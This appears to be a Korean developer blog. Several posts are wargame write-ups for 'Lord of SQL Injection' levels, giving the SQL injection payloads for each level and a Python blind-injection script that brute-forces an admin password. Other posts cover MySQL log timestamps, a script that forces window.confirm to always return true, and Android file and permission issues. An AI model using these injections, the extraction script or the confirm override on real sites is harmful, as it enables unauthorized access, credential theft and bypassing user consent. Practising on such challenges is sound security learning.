늘모자란, 개발

늘모자란, 개발


<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>


코드 상에는 whitespace를 쓸 수 없다는 제약이 있다
띄워쓰기 없이... 이런 문제가 있다. 개행으로 점프가 되는.. 쓸데 없는 똑똑이

select id from prob_wolfman where id='guest' and pw='' or id='admin'#'


이런꼴을 만들어주면된다. %0a를 잘 써먹어보자
2017/06/20 01:54 2017/06/20 01:54
<?php
include "./config.php"; 
 login_chk(); 
 dbconnect(); 
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
 $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
 echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

Hello admin

"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>


이건 쿼리가 두개다
일단 admin을 획득하려면 참을 만들면 되는데

select id from prob_orc where id='admin' and pw='1' or 1=1 -- a'


이거만으로 안 끝난다. 왜냐면 단순히 result['id']가 있기만해도 되기때문. 즉 이 문제는 blind sql로 pw가 맞으면 admin이 출력될거고 아니면 안뜨고 뭐 그런..느낌이다
blind sqli 시에 깔끔히 답만 알려주지 않기때문에 length로 체크를 하도록 간단히 코드를 짰다. 그리고 이 사이트는 cloudflare를 사용하고 있기때문에 cookie 가 없으면 돌아가지 않아서 이때부터 requests 모듈을 사용하기로 했다

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import requests

headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=dihankitbe8chkt37mk9tt9040;'}
url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

loop = 0
pw = ''

for j in range(1,30):
 data = "?pw=' or ( id='admin' and length(pw)={} )-- a".format(j)
 r = requests.get(url+data,headers=headers)

 if r.text.find('Hello admin') != -1 :
 loop = j
 break

for i in range(1,loop+1):
 for j in string:
 data = "?pw=' or ( id='admin' and substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
 r = requests.get(url+data,headers=headers)

 if r.text.find('Hello admin') != -1 :
 pw = pw + j
 print "[!] found",pw
 break
 
print pw

돌리다보면 나온다

2017/06/19 17:01 2017/06/19 17:01

 include "./config.php"; 
 login_chk(); 
 dbconnect(); 
 if(preg_match('/prob||.|()/i', $_GET[no])) exit("No Hack ~~"); 
 if(preg_match('/\'|\"|`/i', $GET[no])) exit("No Quotes ~~"); 
 $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
 echo "


query : {$query}


"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

Hello {$result[id]}

"; if($result['id'] == 'admin') solve("goblin"); highlight_file(FILE); ?>

$_GET['no']안에 quotes 를 사용할 수 없다니 이제 야매는 안될 것 같다 전 문제에서 썼던 order by 꼼수로 넘어가자.

select id from prob_goblin where id='guest' and no=1 or 1=1 order by 1 asc -- a

2017/06/19 16:56 2017/06/19 16:56

 include "./config.php"; 
 login_chk();
 dbconnect();
 if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~"); 
 if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~"); 
 $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
 echo "


query : {$query}


"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "

Hello {$result['id']} You are not admin :(

"; highlight_file(FILE); ?>

이거도 그냥 간단히 넘어보려고 다음과 같이 쿼리를 짰다

select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 desc -- a')

근데 리턴되는 값이 이상하다.

Hello rubiya
You are not admin :(

컬럼에 하나만 있을 줄 알았더니 몇개가 더 있나보다. 한 두개쯤 있을 것 같으니 (아마 세개째부터는 생각을 해야될것 같지만)

select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 asc -- a')

이런식으로 현재 select 되는 row가 아닌 다른 row를 선택되게 바꿔주면 pass

2017/06/19 16:48 2017/06/19 16:48

 include "./config.php";
 login_chk();
 dbconnect();
 if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~"); // do not try to attack another table, database!
 if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~");
 $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
 echo "


query : {$query}


"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("gremlin"); highlight_file(FILE); ?>

질의 하면 위에 쿼리가 나온다. 나는 id를 true로 만들고 pw는 주석처럼 만들어버려서 뒤로 점프할 생각이었고 그냥 된다. 몸풀기..

select id from prob_gremlin where id='' or 1=1 -- ' and pw='1'

2017/06/19 16:43 2017/06/19 16:43
slow query 로그를 모니터링하다가 괴이한걸 발견했다.

 # Time: 2017-06-07T21:02:08.862259Z
# User@Host:  @ localhost []  Id: 369414
# Query_time: 5.894014  Lock_time: 0.000000 Rows_sent: OOOO  Rows_examined: OOOO
use DB;
SET timestamp=1496869328;
SELECT /*!40001 SQL_NO_CACHE */ * FROM `table`;


/*40001 SQL_NO_CACHE*/ 라는것도 처음보고, DB를 풀스캔하고 있는데 시간대를 보니 밤 9시라고 한다. 밤9시엔 이런 작업을 할리가 없는데..  그래서 이래저래 검색을 해보니 40001 은 mysql 버전 4.0.0 이상에서 진행된 쿼리라는거고, 뒤에는 말그대로 캐시없이 돌리겠다는 명령어라고 한다. 그리고 mysqldump에서 이렇게 질의한다고 하는데...

문제는 9시에 mysqldump를 진행하지 않는다. 혹시 해서 select now()를 해도 정상시간으로 되어있고, OS시간도 정상이다.
판타즘넷 DB서버는 새벽6시와 또 다른 특정시간대에 백업을 진행하는데, 친구와 얘기하다보니 로그 시간뒤에 Z가 붙어있는걸 확인했다. 그렇다. 이건 UTC +0 시간이었던것이다...

mysql 5.7.2 부터는 로그시간의 혼동을 피하기위해 따로 변수를 추가해 관리하는것이다. 이걸 확인하려면,

show variables;


를 통해 log_timestamps의 값을 확인하면 되는데 나의 경우

log_timestamps | UTC


로 설정되어 있다.
해당 변수의 값은 SYSTEM 혹은 UTC로만 설정할 수 있으며, 서버시간대로 로그를 확인하고 싶다면 SYSTEM으로 맞춰주면된다.
my.cnf 에 mysqld 밑에 다음과 같이 적어주자

 log_timestamps = SYSTEM


Ref:
https://serverfault.com/questions/759532/mysql-logs-different-time-than-now
https://stackoverflow.com/questions/8282788/what-does-select-n-sql-no-cache-from-mytable-mean-in-in-mysqls-slow

2017/06/08 11:09 2017/06/08 11:09

시작하며


제목이 너무 거창한데, 유저들에게서 강제로 confirm에 대한 확인을 받아야할 일이 있었다. confirm을 내가 띄우는 주체가 아닌데 반드시 confirm 에 대한 확인을 받아야만 모든 데이터를 다 긁을 수 있기 때문이다. 별수 없이 방법을 찾아봤는데 confirm에 delegate를 거는 방법은 없었다. 이 method는 문자 그대로, 말그대로 유저의 confirm을 받아 처리하는 기능이기 때문이다.

바꿔치기


이건 정공은 아니고 그냥 trick 에 가깝다 혹은 cheat.. 강제로 confirm을 발현 시키고, 그 이후에 window의 confirm을 모두 true로 바꿔버리는것이다 코드를 보자

window._confirm = window.confirm;
window.confirm = function() {
 return true;
};

코드는 심플한데, 말그대로 브라우저 윈도우의 confirm을 모두 true 로 바꿔버리는것이다. 이 코드가 실행되면 해당 세션의 웹 브라우저의 confirm은 모두 true가 되서 뜨지도 않게 된다. 때문에, 현재 상태를 window._confirm 안에 저장해놓고, 이벤트가 끝나면 다시 다음과 같이 수행하면 된다

window.confirm = window._confirm;

Thanks to jake

2017/05/19 11:31 2017/05/19 11:31
원래 intent를 넘겨줄때 file:/// 이런식으로 absolute path 를 넘겨주었으나 왠지 모르겠지만 Nougat 때부터 content:// 형태로 넘겨주기 시작했다. 때문에 기존 방법으로는 path를 얻을 수 없다.

이때 content:// 를 파싱(??) 하면 정보를 얻을 수 있다.

public String getFileName(Uri uri) {
 String result = null;
 if (uri.getScheme().equals("content")) {
   Cursor cursor = getContentResolver().query(uri, null, null, null, null);
   try {
     if (cursor != null && cursor.moveToFirst()) {
       result = cursor.getString(cursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
     }
   } finally {
     cursor.close();
   }
 }
 if (result == null) { 
   result = uri.getPath();
 }
 return result;
}


요점은 cursor 를 이용해 query 를 날려 의미하는 바를 알아내는 것이다.
제대로 안하면 커서 row에서 에러 나오고 쌩 고생을 할 수도있는데 요거면 잘된다.
혹시 전체 덤프가 필요하다면 datautils 의 dump를 이용하면 모두 로그로 찍어볼 수도 있다.
2017/03/13 15:44 2017/03/13 15:44
Marshmallow 는 여러모로 똥을 던져주는 버전같다.
이번에는 단순히 Intent로 앱을 호출했는데 스크린 오버레이 감지가 발생하는 경우를 겪게 되었다

흔히 다음과 같은 경우에 발생한다.
유저 편의를 위한답시고 Toast로 파일을 실행합니다.. 따위의 안내문을 출력하게 되는데, 안드로이드는 정말 똑똑한 머신이라 Toast를 출력하고 있는앱을 현재 실행하고 있는 앱으로 판단한다

때문에 이때 intent를 호출하거나 권한 승인 다이얼로그가 출력되면, 안드로이드는 이 새로운 손님을 화면위에 플로팅하는 오버레이앱이라고 판단해버린다. 즉, intent를 넘겨줄때는 반드시 모든 Toast가 종료된 후 실행되어야 한다.

화면 오버레이 감지됨을 피하는 방법

1. 모든 Toast가 꺼진 후 intent를 호출
2. 안내 Toast를 모두 제거

http://stackoverflow.com/questions/35453759/android-screen-overlay-detected-message-if-user-is-trying-to-grant-a-permissio?answertab=votes#tab-top

2017/02/28 14:40 2017/02/28 14:40
이번에 외부 저장소의 파일 헤더를 수정하다가 하다가 알게된건데, Android 에서 SD card에 저장된 파일을 핸들링하려니까 권한이 없다며 진행되지 않았다.

의아하게 여겨 바로 한 일은 외부 저장소의 권한을 살펴본 일인데, 멀쩡히 권한이 존재할 것 이다.

대개, 이런식으로 되어 있을 것이다.

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" ></uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission>


꼼꼼한 개발자라면 해당 권한이 위험한 권한(dangerous permission)임을 인지하고 M 버전부터 처리코드를 넣어 다음과 같이 유저에게 request permission을 하고 있을지도 모른다.

                requestPermissions(new String[] {
                                     Manifest.permission.READ_EXTERNAL_STORAGE, 
                                     Manifest.permission.WRITE_EXTERNAL_STORAGE
                                   }, MY_PERMISSION_REQUEST_CODE)


헌데 외부 저장소 권한을 설정하였는데, 왜 SD Cad에 저장된 파일을 컨트롤할 수 없는걸까? 그건 바로 Android의 기괴한 정책때문에 그렇다.

먼저, 본론으로 들어가기전에
알아두어야 될 점은 Android에서 얼마나 이상하게 SD Card를 다루느냐이다.

먼저, Android에서 말하는 External Storage는 실제 External Storage (SD Card)를 의미하지 않는다.
여기서 가리키는 저장소는 '완전히 따로 관리되는 내부' 메모리와, 내부에 있는 '일반 파일 영역'을 의미한다.

이에 대한 근거는,

File Environment.getExternalStorageDirectory()


로 경로를 반환받을시, SD card를 가리키지 않기 때문이다. 어딜 가르키느냐? 일반 파일 영역을 나타내준다.
정말 이해가 안되는 일이지만 SD Card를 가리키는 경로는 제조사별로 다르기때문에 알아낼 도리가 없다.
굳이 알아내보려면 이런 느낌으로 써야한다.

filepath.contains('mnt/sdcard').. ? sd card!
filepath.contains('mnt/extCard')..? sd card!
filepath.contains('mnt/ext_sd')..? sd card!


정말 어이가 없는 일이다. 이건 제조사별로 다르다고 치고, 본론으로 돌아가서, 왜 SD Card 내에 파일을 쓰거나 수정할 수 없는걸까?
그런데, 지금 말하는 이야기가 얼토당토하지 않게 보이는 사람도 있을 것이다. "나는 잘되는데 뭔소리지?"

먼저, Froyo와 Gingerbread(2.2~2.3)의 Android는 권한 체크에 그리 꼼꼼하지 않았다.
그래서 External Storage_Write/Read 권한만 있어도 SD Card를 얼마든지 컨트롤 할 수 있었다.
그러다가, HoneyComb(3.0) 이상에서 추가 권한을 요구하게 되는데, 바로 우리를 곤경에 빠트리게 할,

WRITE_MEDIA_STORAGE 라는 권한의 등장이다. 이 문제는 LOLLIPOP 까지 지속된다. (5.0)

이 권한을 그럼 명세하면되지 않느냐? 라고 물을 수 있지만 해당 권한은 시스템권한으로, 일반 유저가 줄 수 없는 권한이다.
- 제조사에서는 제조사 기본앱에 이 권한을 주어 설치해놓은 경우도 존재함

3.0 부터 5,0 버전을 사용하는 유저들은 루팅후, SDfix 라는 이상한 앱을 설치해 그룹 퍼미션을 줘가며 사용해야만 했었던 것이다.
앱이 하는 역할은 다음과 같다.

<permission name="android.permission.WRITE_EXTERNAL_STORAGE" >
    <group gid="sdcard_r" />
    <group gid="sdcard_rw" />
    <group gid="media_rw" />
</permission>


하지만 일반 논루팅 유저들은 해당 권한을 줄 수 없으므로, 결국 앱을 이용한 SD Card Write Access는 가질 수 없는 것이다.
그러다가 놀랍게도, Marshmallow(6.0)에서 부터는 External Storage 권한을 위험한 권한으로 규정하면서, 유저 추가 동의를 받을 경우 쓸 수 있게 바꿔버린것이다. 오마이 갓....

고로 결론은 다음과 같다. 이를 우회할 방법은 존재치 않으니 빨랑 포기하시라...
2017/01/17 17:42 2017/01/17 17:42